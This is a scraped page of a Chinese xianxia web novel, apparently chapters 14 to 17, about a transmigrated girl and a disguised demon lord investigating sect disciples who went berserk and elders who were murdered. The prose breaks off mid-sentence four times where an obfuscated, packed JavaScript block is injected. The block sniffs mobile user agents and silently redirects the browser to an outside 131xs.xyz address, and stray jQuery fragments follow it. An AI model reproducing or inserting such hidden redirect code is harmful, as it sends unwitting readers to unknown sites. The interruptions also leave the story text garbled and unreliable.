见她居然将自己的心头血渡出,赤鸟惊得震动翅膀,急得他在屋内飞了几圈,最终实在僵持不下,他收回羽翼,灵力聚在他周身发出红色流光,赤鸟幻化成一袭红衣的少年。
他站在云渡珩的面前,比她还要高出一头,却蹙着眉,嗓音清冷:“小姐,我跟你回去,莫要再浪费这心头血了。”
他唤她,小姐。
云渡珩冷不丁被他这幅样貌惊得说不出话来,她指尖颤抖地指着他,竟然……
竟然生得这么好看的一张脸……
他说他叫炎昀,原本是脱离于玄虞大陆,是神界的灵鸟。
说到这时他眸光忽然黯淡,并未说他一个神鸟是如何掉落凡间,又堕落于妖域。但他毕竟在妖界待了太久沾了妖气,所以羽翼变黑。可是云渡珩不在乎,何止是不在乎,她甚至不再想让他做自己的灵宠。
她要他做自己的师弟。
她让他叫自己一声“师姐”,可是炎昀却很固执地唤她:“小姐。”
大概是真的把自己当做她的灵宠了。
可云渡珩没想到除魔卫道、浩然正气的修仙弟子会因为他是个灵族对他倚强凌弱。
几个修士骗他云渡珩在妖域身陷险境,引他去提前设好的禁境之中,里面全是修为高绝的大妖。
他在禁境中杀了三天,最后撑剑跪在地上看见云渡珩安然无恙时,带血的嘴角噙着笑:“小姐,你没事就好。”
那几个弟子被逐出了云霄宗,可是炎昀却重伤了灵脉,体内的灵力就算再多也难以支撑他原本的样貌。就连化作十三四岁少年的模样,已经是尽力为之了。
云渡珩心中愧疚,对他越来越好,甚至担心他又被欺负,便与他相处得更为亲近。可是炎昀却变了,他开始对她避而不见,甚至不再唤她小姐。如果实在避不开,也只一句:“云师姐。”
思绪回迁,云渡珩盯着炎昀肩头的伤口怔在原地,她讶异于那一声“小姐”。
悬在空中许久的手终于缓缓握紧,随后慢慢放下。
她不再看向炎昀,转身对着温疏良开口:“我去领罚了,师兄代我看着他去药堂。”随即云渡珩便大步离去,头都未回。
什么小姐,不过是宁愿再次叫她小姐都不愿她手指碰他一下罢了。
炎昀默然收回自己的长剑,俯身处理脚下的那具尸身的时候,阮清木才发觉方才围在一堆的弟子们早就走光了,就连何言都不知道什么时候溜走的。
糟了,光顾着看云渡珩了,没人提醒她这种时候不应该凑热闹呀。
温疏良手中掐着术法控制着余下几个发狂的修士,他偏过头,注意到还在原地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128512|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的阮清木。
“我……”阮清木一时无言,她立马捂住心口,慌神地双腿打颤,一副被吓坏站不住的样子。
仔细说来,其实这群修士自从沾染上炎昀的血那一刻起,她便隐隐感到不适,是一种难以名状的异样,仿佛心口处蛰伏着什么活物,就要呼之欲出,冲破她的控制。
只不过方才实在是好奇云渡珩和炎昀间的关系,有些投入,便忘了心口处的难受。
眼下这种不适感又重新出现,阮清木索性装作被吓到的样子。
温疏良投来的视线带着些许的冷意,丝毫不似他平日里那般随和。
是在怪她看见了不该看的东西?
可是又不能装得太过,万一误以为她也要发狂就麻烦了。
她双眼一闭往后一倒,干脆装晕算了。
结果没倒在地上,而是倒在一人的怀里。冷檀香盈满她的鼻间,阮清木才想起身后还有个风宴来着。
风宴没推开她,而是皱着眉看她就这样倒在自己怀中,他下意识伸手扶住她单薄的肩膀,低头恰好就捕捉到她轻颤的睫羽。
装得还能再差点吗?
“令妹这是……”温疏良也顿住。
风宴垂眼看向他怀中的阮清木,扶住她肩膀的手间暗自发力,阮清木被他捏得吃痛,但双眼仍紧闭着。
“她今日一早就和我说身子有些不适,强撑了这么久现在又被吓到。”风宴将她打横抱起,“先带她回去了。”
没等温疏良再言语,风宴就抱着她转身离开。
阮清木往他怀中又缩了一下,风宴捏住她肩膀的手卸了些许力道。
就这样靠在风宴的胸前,一路听着他心口处的心跳声。
估摸着已经走远,阮清木才睁开眼,不抬起头的话,她这个角度只能看见风宴的脖颈位置。风宴今日穿的立领衣襟,高耸的衣领将那颈间遮得严严实实,只隐约留下一抹玉白的肌肤在领口若隐若现。
莫不是昨夜长在他颈间的蛇鳞还没有退去?
她下意识地抬手在他脖子上戳了一下。
只是下一秒她就感觉自己好像要被风宴给丢下去,连忙开口:“表哥!”
风宴垂眼看向她。
“这个事,是你做的吗?”阮清木小声贴在他胸前问道。
她的怀疑不是没有来由,风宴蛰伏在云霄宗,肯定不是在这吃喝玩乐,更不可能是为了求仙问道。
风宴面无表情地开口:“不是。”
那怎么刚好被缠住的是炎昀呢?
“炎昀其实是表哥的人吧?”阮清木又问。
风宴的表情开始转变得难以捉摸,阮清木分析了一下,他好像在疑惑她怎么会问出这么显而易见的问题。
当初是谁给你走的关系?
阮清木不吭声了。
又过了一会,行至一排垂柳的庇荫下,泠风忽起,吹得风宴衣袂翻飞,他蓦然停下脚步,青丝和高马尾处的发带于风中纠缠,偶尔掺夹着几片柳叶。
阮清木搂紧风宴的脖子,在他怀中又道:“表哥,还有个事。”
“别放我下来行吗,我不想自己走。”
15. 第 15 章
阮清木说完这话,便又往风宴怀中缩了缩。她极力克制着心口那股燥意,只觉周身的血气都尽数滞于胸口,血气上涌间,眼前已然有些眩晕。
她紧紧勾住风宴的脖间,怕被他一松手直接丢在地上。
带着暖意的风吹在二人的耳畔,同时还有近在咫尺的呼吸声交叠在一起,就连发丝都彼此纠缠得拂在阮清木的脸上,有些发痒。
风宴垂下眼帘,视线落于阮清木的身上,那双狭长上挑的眼眸微微眯起,如同盘踞在阴影中的蛇,眼底尽是审视。
阮清木今日一身浅绿的烟罗裙,裙身用同色系绣着几枝竹叶,裙摆层叠堆在风宴的臂弯间,腰间系着素缎腰带此时也缠在风宴的另一边手中。
她在他怀中好像一只乞求庇护的小兽,他心中徒然出现有一种陌生的、异样的情绪。她身上的气息瞬间侵略般得萦绕在他鼻间。
风宴蹙着眉,歪头判断了一下,直觉让他手间不自觉地用力,几乎是本能想将她碾碎,绞杀。
阮清木哎呦一声,脑袋彻底靠在他胸前,“表哥你再用力我真的晕了啊。”
“我很怕疼的,不喜欢别人暴力对我。”
有一句是真话,有一句是假的。
她将头贴靠过来的一刹,风宴感觉自己那颗原本安稳躺在胸膛里的心被无形之物锤了一下。
堕魔百年间,因他是以妖身入魔道,魔修之间没有什么同门的概念,只有阴毒残暴,弱肉强食。为了活命,他只能自己摸索修炼门路,凭借一些邪门修炼的禁术。
因妖在濒死之时会陷入妖化,犹如回光返照,灵力暴增。所以每隔一段时间,他便会将自己重伤至濒死状态,通过假死来骗过天道,可偷天换日将自己的修为保持在妖化最强时的状态。
譬如与她初遇那一晚,他就是这样做的。
在魔域时,若有人让他稍觉威胁,哪怕只是一丝异样,他也会毫不犹豫地断绝危机,将其杀之。
同样,此刻的他也感受到了这种威胁感。
从未如此刻般这么迫切的想杀了她。
“你之前,不是不愿被人看到与我走得亲近吗?”风宴忽然开口,声线低哑。
阮清木愣住一瞬,她回想了一下,大概是初来云霄宗时她比较害怕被何言看到。
“现在这副模样,又想利用我得到什么?”
这话听来有些耳熟,似曾相识。她想,他之前也这般问过她,那时她不过是想活命,想混进云霄宗。可现在她并没有什么其他想法啊。只是怕他把自己丢下,抱得紧了些……
“没有,只是不想走路,头晕。”阮清木回答得坦然且言简意赅。
风宴蹙起眉,她好像真的很擅长伪装,自从被他看穿魅术之后,她不会在他面前使用那道术法,眼下即便不依靠魅术,也能装得几分真切了。
“如若我哪日杀了这几个道貌岸然的仙门道君,到时必会牵连你这个表妹,难道你不会后悔当初走了我这个关系?”
他眼角微微上挑,斜睨着她。
这个问题,阮清木倒也确实想过。
“那到时候,就说我是被你胁迫来的。毕竟我这样对他人没有任何威胁的小姑娘能做什么坏事呢?”阮清木头埋在他胸前,声音闷闷地飘了过来。
风宴忽地轻笑一声。
她抬起头,望向风宴,“真信了?生气了?”
她观察风宴的神色,眸光不似平日里那般流光溢彩,以往这种时候,他那漂亮的眼眸会化成冷厉竖瞳来吓唬她。
“要不你还是放我下来吧,又不走,光站在这你也挺累的……”阮清木松开箍在他脖颈处的手,可风宴却动了,他用力捏了一下阮清木纤瘦的背,忽然迈开步子接着抱她走了。
比起那种伪装,他喜欢她说真话。
-
云阁章台,薄雾迷离,金光萦绕。
现如今云霄宗是由四大宫宫主执掌,分别是洵青境——云榆生,翎玉峰——祝奇徽,悬澜谷——宁雪辞以及祥声境——琴殊音。
云榆生是云渡珩的祖父,性情十分随和,终日里只知道驾着他那个宝贝仙鹤,在天地间云游四方。剑道修为卓绝,却没什么野心,对飞升成仙之事也是淡然无求,仙门之事更是甩手出去,从不过问。
宁雪辞百年间一直闭关,从不出现。琴殊音自小于仙门修炼时便被祝奇徽压制一头,平日就算想管也力不从心,所以云霄宗眼下一切事务皆由祝奇徽把持着。
昭重殿内,帷幔随风婆娑飘荡,偌大的殿堂中燃着一座香炉不时飘起几缕青烟。温疏良站在殿内,恭敬地对着那缕烟作揖道。
“拜见师尊。”
那缕青烟应了一声,逐渐聚拢,随即光芒流转,汇聚成一道模糊的人影,又是一道金光飘过,一个面相慈善,身着雪白道袍的男子出现在温疏良的面前。
是祝奇徽的一缕神识。
他负手而立,身姿挺拔,看起来约莫三十左右的年轻面容,一身仙风道骨,眉眼冷如深潭。祝奇徽扫了一眼毕恭毕敬的温疏良,鼻子哼了一声:“才多久没见啊,你小子又开始装模作样了。”
温疏良直起身,神色间随意笑着:“师父。”
祝奇徽的神识瞬间飘至温疏良的面前,绕着他飘了一圈,冷笑道:“每次唤我出来都没什么好事。说吧,又怎么了?”
温疏良敛去笑意,正色道:“师父,仙宗的灵脉是愈发混乱了,这事您应该早已知晓吧?今日甚至有几个外门弟子走火入魔伤了同门,他们发狂时实在是难以控制。”他停顿一瞬,接着道:“所以情急之下,徒儿失手将那发了狂的弟子给杀了。”
祝奇徽听完,眉心拧起:“唔……”
他眼神微微一凝,眉毛轻挑,眸光锐利地审视着温疏良,缓缓开
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128513|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
口,语气淡然却带着些不容置疑:“是你杀的?”
温疏良点头。
他嗤笑一声:“我还不了解你?一个外门弟子,要真是你杀的,你都不可能来找我。”
祝奇徽的神识摆了摆手,转身想钻回那香炉里,“徒儿大了,有心思也不同师父讲喽。”
温疏良见此,连忙上前一步拦住祝奇徽的神识,“哎,师父!”
他无奈道:“是云渡珩。”
祝奇徽的神识灵巧地躲过温疏良的阻拦,听到云渡珩的名字,他别过眼,“哦,那不更没事了,这小丫头脾气冲得也不是一两天了。让她自己禁闭几月就行了。”
话未说完,陡然一抹金光闯进殿内,一个身影轻如飞燕的女子赫然出现在祝奇徽神识的旁边,她衣袂飘飘,云鬓高挽,面容清绝。
温疏良见了那人,连忙道:“拜见玄音道君。”
琴殊音的神识冷哼了一声,她道袍一甩,拧眉盯着祝奇徽。温疏良自然知道她是因为今日仙门暴乱一事才特意赶来,刚要开口,便被她抬手拦下。
“怎么,现如今这云霄宗已经是你祝奇徽一人的门派吗?”琴殊音厉声问道。
琴殊音与祝奇徽是同期,将音修修炼到极致,动静之间哪怕是一呼一吸也能调起波澜,极为玄妙。但云霄宗以剑道闻名纵横四海,目前门内四大宫主也只有她不是剑修,所以琴殊音的地位多少有些微妙。
不过祝奇徽倒也对她这幅模样见怪不怪,不仅不动怒,那缕神识反倒在偌大的殿内四处游荡起来,“玄音道君你这是哪里的话,不过小事一件,要不是我这乖徒执意唤我,我都不会插手此事,只让他一人处理就可以了。”
温疏良也点头道:“是啊,师父他……”结果瞬间被琴殊音一道厉色的眸光瞪住,他只好噤声。
“哼,小事?”她的神魂冲在祝奇徽的面前将他拦住,“仙门地下的灵气运转已经失衡许久了,现在那群外门弟子已经显现出来,过不了多久会有越来越多弟子失控反噬,你敢说这也是小事?”
温疏良在旁蹙眉听着,一言不发地候在原地。
“还有那长生树……”琴殊音说到一半便被祝奇徽打断。
“你也说了,失控反噬的都是那群外门弟子,这群弟子本就资质差些,私下里不知从哪学了歪门邪术,正赶上近期灵脉稍微有些不稳,就容易走火入魔。”
祝奇徽叹了一声:“我已传讯给云榆生那老头了,等他回来,到时我们三人一起商议灵脉之事。你莫要冲动嘛。”
他朝温疏良挥了挥手,温疏良立即心领神会,转身便向外走去,留琴殊音争论的声音在昭重殿内层层盘旋。
转身之前,祝奇徽深盯了他一眼,好似看穿了他心中想问却还没来得及的问题。他想问师父,余下那几位外门弟子应如何处理。
祝奇徽的神识带着笑意:“杀。”
16. 第 16 章
时至深夜,竹胥居。
屋内只有阮清木一人,风宴不在。她一个人在床榻上翻来覆去,只因她一闭上眼,就能感知到,白天那几个忽然发狂的修士被温疏良带走后,就被悄无声息地全部了结了。
不仅如此,就连这几个修士的尸身被丢在哪里,都知道得一清二楚。
她缓缓睁开眼,漠然盯着头顶上方的房梁。
之前她刚穿进来时,为了维持人形要不断找寻新的心脏,那时的她并不能感知到哪里又死了什么人,只能偶尔靠着系统给的信息,偷偷摸过去。
眼下也不知是否因这幅身子的灵力提升,她居然可以直接感应到这群修士在哪死的,尸身又被丢弃在何处。
比之前方便多了,可她现在却用不上了。
但是一闭眼就是那几个尸身躺在山间的场面,她实在受不了,最终还是起身坐了起来。
虽然这些死人的心她是不能放在自己的体内使用了,但是上面的修为和灵力还是有些用处的。
而且没准把这些心都挖了,这些感应也就自动消失了。顺便还能涨涨灵力,这东西又不嫌多。
-
夜幕之下,她独自沿山路走着,夜风掠过林梢时发出簌簌声响。这条路通往云霄宗的后山,虽越走越僻静,但大概是因为仍在仙门地界,所以并不觉着恐怖。
月光盈撒在阮清木那身素白的长袍上,把她映得莹然生辉。
又绕过一个河道,她终于是寻到了白天那几个忽然发了狂的修士,几道尸身随意被丢在林间。
环视四周,确认四下空无一人,她掏出袖中的匕首,扫见左手间的那道咒印,思索后,还是换成了右手。
掌心划出一道伤口,她小声念出咒诀:“天地自然,秽气分散。”
“三魂永久,魄无丧倾。”
阮清木将手朝着一道尸身探去。
一切进展得极为顺利,第一颗心到手,因为此心不会再融入她的体内,她只能将心脏上的修为和灵力汲取。
随即她又摸向第二个弟子的尸身,照例将其取出之后,收下了心脏上原身的修为和灵力。
取完两颗心脏,她便开始闭目调息。这几日她一直试着引气修炼,逐渐掌握自己体内灵力的运转。已取了两颗心脏,按理来说,她会对自己的灵力增长有所感应。
可她静坐调息良久,将灵识于体内四处探寻,却什么都没有感觉出来。这就多少有些奇怪了,哪怕是微末的灵力波动,也应该有所感应才对。
而且不知是何原因,她觉着夜风吹得她有些冷,温度骤降,背后好似被人泼了冷水,寒意顺着她脊背蔓延。
她打了个寒颤,想着是再取一颗还是先回去。
忽然一道幽幽的声音自她身后响起:“你在做什么?”
阮清木着实被吓了一大跳,她猛地回过头,不知道风宴什么时候出现的,也不知在她身后站了多久。
风宴的眉眼间凝着几分疑惑,细看着,那目光又带有些阴沉正悄然笼在她身上。
他一身黑色紧衣,与黑夜几乎融为一体,白得渗人的面色,如墨的长发依旧高高束起,衣袍下摆之上蜿蜒盘踞着暗红色的绣纹,是他这身唯一的颜色。
风宴俯下身半跪在地上,看着阮清木,他又问了一遍:“在做什么?”
这不是很明显吗?
阮清木回道:“在取这些修士的心,上面还有原身的修为和灵力,不拿就这么浪费了怪可惜的。”
怎么说也取了两颗心,既然她先前出手时,可以借用风宴的修为,那她刚汲取的灵力,风宴应该也是有感觉的吧?
有可能是她对于自己灵息的感悟还不够,所以感受不到灵力变动。
但风宴不同,他这种实力的肯定对自身的灵息掌握得更精湛。
“你没感觉到自己的灵力有所波动吗?”她对风宴问道。
风宴斜睨了她一眼,缓缓道:“没有。”
阮清木手中动作顿住。
也有可能,他这是在暗示自己修为实在太高,这点修为于他而言几乎可以忽略不计?
她垂眸看向右手掌心,那道伤口一不再渗血,阮清木毫不犹豫地再次划下,刀刃在她手中割开一道新的伤口,血珠猛地涌出。
“那我再取一个,你再感受一下。”
说完她便将手摸向第三个尸身。阮清木还是第一次遇到有这么多心要取的情况,第三次顿然觉着有些耗神,额间渗出一层冷汗,强忍着才将这第三颗心取出。
风宴陡然将她的腕骨握住,他把阮清木往他身旁拉了一下,望着那颗浮于她掌心之上的第三颗心脏。
这颗心晶莹靓丽,看起来上面的确充沛着原主的所有修为和灵力。
只是……
这层萦绕在心脏之上的灵光,好似不是原主的灵力,更像是某种禁制术法。
他指间运力,轻触那颗心。骤然间,那术法好似被破掉一般,灵光飘散,整个心脏失去光泽,黯然掉落回阮清木的手中。
“……”
阮清木怔住,她看向这颗忽然没了灵力,无力掉在她手中的心脏。
这颗被风宴解开禁制后失去灵光,更像块无用的石头。
可这怎么可能呢?她连夜找到的尸身,刚取出的心脏,上面的修为和灵力居然已经不存在了?
是有人在更早的时候就将这些修士身上的灵力采补走了?
可是既然已经渡走他们的灵力,又为何多此一举的在上面加一道禁制术法?
她又举起手中的匕首,风宴蓦地将她拦住,他淡淡瞥了一眼阮清木将自己划烂的手心,道:“这几个都是外门弟子。”
他将地上一具尸身的发带解下,阮清木看清发带上的纹样,虽然与内门弟子的发带一样是湖青色打底,但尾端很明显没有那节云纹。
风宴的意思是指,这群外门弟子不值得有人将他们的修为采补取走,再设个禁制术法来欲盖弥彰。
“可是这群外门弟子居然可以和云渡珩和炎昀打得有来有回。”阮清木心中实在是疑惑。
她忍不住探身查看这几具尸身,掌心仍往外溢出的血与一具尸身上的血痕重叠。
陡然间一抹不知名的记忆闯入她的识海之中。
天光渐沉,落日染红半边天际,江面泛着粼粼波光。一艘船静静泊在岸边,船头随着江水轻轻摇晃。
“娘!我此行是去求仙问道,您哭什么呀!”青年胡乱地抹掉自己颊间的泪痕,头也不回地一步踏上船。
青年一身粗麻布衣,胸口处的布料已有些磨损,但全身的衣服被浆洗得干干净净。朴素的衣衫勾勒出他清瘦却坚韧的身形,背后一个灰布包裹便是他全部行囊。
“到了云霄宗,我一定会成为仙宗的内门弟子,闯出一片天地的。”他背对着岸上抹泪的妇人,冲着远处高喊。
画面变换,江面扭曲消失,一束晨光闯入眼前。
舍屋内一个青年埋在案前写着家书:娘,孩儿一切安好,这丹药记得按时服用,对身体有益。过不了多久孩儿就能出山擒拿妖魔,仙门内的师尊和师兄们也都极为照顾我……
“陆棋!今日你当值,怎么还不出来!”门外有人唤他,青年只好放下手中纸笔,路过门口时拾起倒在地上的尘帚,应了一声,连忙跑至院中打扫。
寒风卷着枯叶在地上打着旋儿,那个在江岸与母亲拭泪告别的青年此时着一身粗布道袍,躬身埋头清扫着院落,他动作熟练,脸上还对那背手而立的师兄陪着笑:“想给家中老母寄封家书,所以耽搁了一会,师兄莫生气。”
那人鼻子冷哼一声:“甭找什么借口,下次再这般懒散,就自己去戒律堂领罚。”说完便拂袖而去。青年只好低头继续手中洒扫的动作,扫着地上怎么也扫不尽的落叶。
阮清木将手挪开,从这段不知名的记忆中抽离出来。
什么情况……她居然看到此人生前的记忆。
她下意识回头望向风宴,他没什么反应。
看来她识海中看到的这些记忆,只是一瞬间的事情。
阮清木将信将疑地将手放在了另一个弟子身上,看面相是个漂亮的小姑娘,这弟子身上没什么血迹,她用刀在小姑娘手心划了一下,抬手接住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16132413|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
伤口处流出的血。
果不其然,阮清木触到那弟子的血后,她又看到了。
天蒙蒙亮,一座府邸的朱红大门紧闭着,府邸后门的小巷里探出一个娇小的身影,怀中抱着个沉甸甸的包袱,行步匆匆。走到巷子深处,一只手突然从她背后搂了上来,将她胸前的包袱接过。
小姑娘扭过头,她是趁悄悄溜出来的,也没顾上梳妆打扮,发髻凌乱,却对身后之人绽开笑颜:“凌哥哥!”
那少年眉眼俊朗,他笑着将手指抵在她的唇瓣上,“小声点,跟我来。”二人牵手跑了起来,消失在深巷之中,脚步声渐远,巷内寂静无声。
忽然一声抽泣声响起,云霄宗人山人海的映晖台前,少年一脸愁容地拭着少女脸上的泪痕。只因她是资质奇差的四灵根,被云霄宗拒之门外,连外门弟子的资格都混不上。可是那少年却被选中。
“怎么办凌哥哥,我不想和你分开,我也回不去了,若是我现在回家,爹会打断我的腿。”她哭着哭着便蹲到了地上,捂着脸。
少年叹了一声,他将她从地上扶起,“我们去录名阁再问问,若还是不行,我也不留这了。”
这少女是锦安县令苏正山的女儿,苏婧空。二人在录名阁前与其弟子交涉了很久,因她的凌哥哥,凌无相是罕有的变异风灵根,他坚持要苏婧空与他一起修行才肯留在云霄宗。
把那弟子为难得实在没办法,去问了门下长老,许久才从录名阁出来,最终松口,若苏婧空能呈上普通弟子五倍的束脩费用,便可留她做个外门弟子。
苏婧空顿时破涕而笑,只要能和凌哥哥在一起就好,钱不过是她人生中最不算烦恼的烦恼了。
良久,阮清木才缓过神来,这抹记忆中明明她最后笑得那么开心,却始终被一股难以言说的悲伤笼罩着,挥之不去。这股悲伤的情绪也席卷了阮清木的识海,她的心忽然跟着抽痛了一下。
“怎么了?”风宴在她身旁问道。
阮清木收回手,并不打算说出她看到的记忆。因那些记忆的主人大概并不希望被人窥视到,且她自己都不清楚通过血来窥视对方的记忆,到底是怎么一回事。
之前取他人心脏时,也有过沾上那些留在原尸身上的血痕的情况,但并没有因此看到对方的记忆。
加之这些修士白天忽然入魔发狂的时候,她心口抑制不住的躁动,都说明,她应该是和这些修士有所联系。
只是,没搞清楚他们之间到底是何关联之前,她还是不要先暴露的好。
“没什么,只是好奇这些人看起来与寻常弟子没什么不同,为什么心脏上没了原身的灵力和修为。”她顿了顿,“上面的禁制又是谁留下的?”
明明都将他们杀了,还要留下禁制制造假象,有这个必要?
忽然间她意识到了什么。
对,人都死了,谁会在乎这几具尸体呢?就算想用采补这种邪术来盗取他人的修为,也不会在这些灵力不高的人身上下手。
所以这禁制是在他们生前就被设下的。
可又是为何设下这道禁制呢……
风宴冷眼瞧着地上那些弟子,没回阮清木的问题,只淡淡问了一句:“那还取吗?”
阮清木摇了摇头,“不要了。”
她不打算多管闲事,更何况眼下对着这几具尸体什么也查不出来。
风宴撑地起身,“那就早些回去休息。”
阮清木比较讶异风宴居然会说回去休息这种话,她这才接着月光注意到,风宴的脸色比以往看起来要更煞白一些,唇间没有一丝血气,他身上居然透着少见的虚弱感。
怪不得他方才站在她身后时,给人一种阴恻恻的感觉。
她没忍住抬手戳了他一下。
能摸得到,不是鬼。
其实阮清木不知道的是,她自己现在也没好到哪去。她一身素白的长裙,在夜中就像是月光凝成的人影,长发随意披着,几缕青丝拂过雪白的脖颈,手上还沾满鲜血,看起来也不太像个活人。
风宴被阮清木戳到之后皱了一下眉。
他忽然抬手,戳了回去。
17. 第 17 章
第二天一早,云霄宗门内就传出一件大事。
仙宗昨夜有三位长老被杀,门下弟子发现之时,那三人都横死在自己的洞府之中,头骨被捏得稀碎,仅有一位的脑袋保留了下来,却也面容扭曲,似是在临死前感受到极大的恐惧。三人被扒皮抽筋,就连脊骨都被活活抽出,残忍诡异地盘在他们自己的本命灵剑,然后插在洞府的墙上。
方位全都直指现如今宁雪辞闭关之处——悬澜谷。
事情发生得太过突然,连祝奇徽都尚未来得及现身□□仙门,消息就已经传开,震惊整个云霄宗上下。
仙宗内外顿然人心惶惶,并将此事与之前弟子频发走火入魔归结在了一起,如此残暴的手法不似寻常妖魔所为,更像是与宁雪辞有血仇,在通过这种方式逼她出关。
只是纵然这消息已传遍了云霄宗上下,却也没传到阮清木的耳朵里。
直到一早上房门被敲响时,她才从床榻上爬起,日光将门外的人影投在门旁的窗棂上,是何言。
阮清木随手拎起个毯子蒙在风宴的脸上,确认一下站在门口是看不见她床上还有个人的,这才推门出去。
不知是不是上次风宴靠双生魂契将她唤醒时,二人的神魂有了一些微妙的接触,自那之后,阮清木会时不时地想贴近风宴。
昨夜他就躺在她的床榻上,呼吸声轻得几乎听不见。因为竹胥居只是普通弟子常住的寝居,床榻也就是比单人床要宽一点而已,虽然风宴身形瘦削,躺在她身侧却依旧很有存在感。
而且他身上冷得吓人,好似将周围的温度都抽走了,单是在他身旁都能感受到寒意。他似乎是真的很疲惫,面容失了血色,一身黑色紧衣,趁得他的脸庞苍白如月下的霜雪,眉目紧锁。
见他这幅模样,阮清木虽然做不了什么,但起码克制了自己想抱着他睡的冲动。
直到何言将她房门敲响,风宴都没什么反应。所以她只好将他藏起,自己偷偷溜了出去。
一到何言的房内,手中就被塞了一块玉石。阮清木低头望去,那玉石剔透明亮,几道符文印在上面,微弱的灵力顺着她指间传来。
“这传讯符你收着,我给我每个朋友都留了一个,仙门内有什么消息记得给我发。”何言说完,便走到木桌旁,继续收拾着桌上的包裹。
“怎么了?你这要去哪?”阮清木问道。
何言皱着眉,神色看起来十分不安,她只摇了摇头,“不能说,总之烦得很。家里就没有一个人能让我省点心。”
她使劲往包裹里装着东西,阮清木都没见过这么多灵器,看起来都大有用处,只是她一个都不认识。要不是何言说手中这个是传讯符,她还以为是块玉呢。
直到将储物囊整整装满了三包,何言才将储物囊其收回于掌中。
收拾完,她想起什么似的,对阮清木说道:“昨夜有三个长老被杀了。”
阮清木神色一僵,何言又接着道:“我就知道你什么都不知道,现在云霄宗好像比我想象得还不太平,不过刚好我可以趁乱下山处理家事,你自己一个人注意点。要是害怕,晚上就把你那什么表哥叫来陪你。”
“不过要是真碰上点什么,你那表哥看样子也扛不了什么事。”
阮清木忍不住扶住额角,只怕这三个长老都是他杀的。
何言又走到柜子旁,从里翻出几个话本交给阮清木,“要是有人来借,你就帮我按三日一灵石去收费,到了三日没还就记得帮我收回来啊。”她又补了一句,“你要看的话免费。”
……那还真是谢谢了,阮清木替她收好后问道:“你要走多久?”
何言叹了一声:“不好说啊,顺利的话就十天半月,不顺利的话……”
“我就不回来了。”
阮清木看了她一眼,何言忽然笑出来:“骗你的!我还得回来收钱呢。”
-
将何言送走后,阮清木回到自己房内。
风宴仍是躺在她的床榻上,脸上蒙着她出门前随意甩在他身上的毯子。
怎么这么久都一动没动的?
她连忙上前,刚一掀开毯子,就见风宴那张煞白的小脸缓缓睁开眼睛,笑盯着她,好似在等她将这毯子掀开一样。
阮清木的动作顿住,风宴的唇边噙起一丝笑意,“以为我死了?”
她看着风宴的面色虽仍有一种不健康的惨白,但眉眼间不再那般疲倦,她点了点头:“是啊,所以现在有点失望。”
“出去一圈可有打听到什么?”风宴撑起头,整个人慵懒地半倚在阮清木的床榻上,随意开口问道。
阮清木看着他这幅模样,假意皱起眉:“打听到……我好像有个了不得的表哥呢,可千万不要连累到我才好。”
话音刚落,风宴便陡然抓住她的手腕,一把将她扯过,阮清木失去重心栽倒在他身上。
她眼睛惊得睁大,少年扬起他的唇角,松垮的领口露出他布满墨色蛇鳞的脖颈,喉间上下滚动时带着上面的鳞纹起伏。
“说起来,我们已经算是道侣了。”
阮清木有些紧张地抿起唇,她有临时补习过这类知识,他们之间最多只是因为双生魂契,名义上的道侣罢了。
风宴接着道:“道侣之间可是要同生死,不离弃的。”
阮清木给自己翻译了一下,大致是在警告她,要是他死了会顺手带走她。
不过她不认为原书中的最终大反派会轻易暴露自己,又将她一起拖下水。显然他既然敢连杀三位长老,就说明他有隐瞒自己所为的实力。
窗外斜斜映下的日光照在她微颤的睫羽上,她眼眸弯起,“我不会背叛表哥的。”
她浓黑的眸子明亮,如秋水般流进风宴的眼中,全然看不出是真心还是假意。
可谁料房门忽然被叩响三声,同时系统提示音出现,阮清木神色顿然僵住。面板弹出,机械系统女声响起:“触发恶女任务,宿主需对男主温疏良进行第一次情感暗示,让他认为你对他已产生好感。”
阮清木怔在那,因为面板弹出,时间静止,她的腕骨还被风宴死死地攥着,而温疏良此
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16141230|180167||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
